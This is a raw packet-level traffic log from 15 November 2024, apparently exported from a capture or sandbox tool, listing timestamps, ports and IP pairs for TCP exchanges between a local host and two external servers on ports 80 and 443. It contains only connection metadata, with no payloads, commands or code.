Nov 15, 2024 09:55:44.750793934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750796080 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750808001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750818968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750822067 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750832081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750844955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750847101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750858068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750875950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750893116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750914097 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750933886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750946999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750960112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750973940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750978947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.750993013 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.750993967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751008987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751013041 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751022100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751023054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751041889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751043081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751059055 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751061916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751068115 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751076937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751089096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751090050 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751102924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751104116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751123905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751148939 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751157999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751173019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751183987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751199961 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751210928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751210928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751235962 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751245975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751332998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751344919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751357079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751370907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751384020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751394033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751405954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751410961 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751435995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751435995 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751456976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751456976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751471996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751492977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751497030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751508951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751518011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751523018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751535892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751543999 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751549006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.751564026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.751590014 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.793576002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.793610096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.793648958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.793792963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.794548035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794595003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794648886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794667959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794667959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.794687986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794699907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.794806957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794841051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794859886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794867992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.794908047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.794915915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794935942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794970036 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.794981956 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.794989109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.795007944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.795020103 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.795027018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.795044899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.795051098 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.795079947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.795093060 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.795101881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.795116901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.795141935 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.812503099 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.829333067 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829348087 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829583883 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829585075 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.829596996 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829612970 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829621077 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829663992 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.829663992 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.829792023 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829811096 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829869032 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.829876900 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.829958916 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830045938 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.830050945 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830234051 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830281019 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830307961 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.830316067 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830533028 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.830691099 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830707073 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830753088 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.830759048 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.830799103 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.831031084 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.831053972 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.831113100 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.831113100 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.831121922 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.831137896 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.831188917 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.831188917 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.866585016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866638899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866673946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866717100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866750956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866769075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866802931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866801023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.866832972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866863012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.866869926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866904020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.866908073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.866930008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867001057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867013931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867033958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867049932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867055893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867074966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867125988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867146015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867147923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867165089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867183924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867228985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867271900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867346048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867367029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867388964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867399931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867418051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867424011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867443085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867476940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867495060 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867496014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867515087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867532015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867547035 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867569923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867584944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867623091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867666006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867681026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867700100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867719889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867741108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867770910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867789030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867790937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867805004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867844105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867862940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867891073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867909908 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.867917061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867935896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867954969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.867996931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868011951 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868045092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868063927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868113041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868132114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868155003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868185043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868200064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868205070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868244886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868263960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868271112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868299007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868319035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868335962 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868351936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868371010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868382931 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868403912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868422031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868455887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868462086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868474960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868489981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868511915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868530035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868534088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868546963 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868566990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.868618011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.868652105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869029999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869060993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869066954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869076014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869075060 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.869087934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869106054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869108915 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.869123936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869133949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869136095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869143963 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869159937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869188070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869194984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869203091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869205952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869214058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869224072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869231939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869296074 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869298935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869307041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869311094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869316101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869338036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869368076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869374990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869380951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869432926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869721889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869772911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869780064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869842052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.869853973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869860888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869873047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.869879007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870007992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870014906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870023012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870035887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870042086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870049953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870065928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870071888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870071888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870080948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870095015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870100975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870104074 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870150089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870268106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870280981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870286942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870294094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870300055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870312929 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870321035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870332956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870341063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870353937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870368004 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870389938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870410919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870418072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870434999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870440960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870524883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870544910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870553970 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870565891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870574951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870589972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870601892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870609999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870616913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870630026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870666981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870672941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870686054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870692968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870706081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870727062 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870747089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870759964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870779037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870785952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870799065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870804071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870810032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870815992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870827913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870860100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870867014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870879889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.870896101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.870923996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.871824980 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.877178907 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.877207994 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.882867098 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.882893085 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.913227081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913242102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913255930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913342953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913495064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913501978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913515091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913547993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913554907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913563013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913574934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913582087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913594961 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913604021 CET	49872	80	192.168.2.7	185.215.113.206
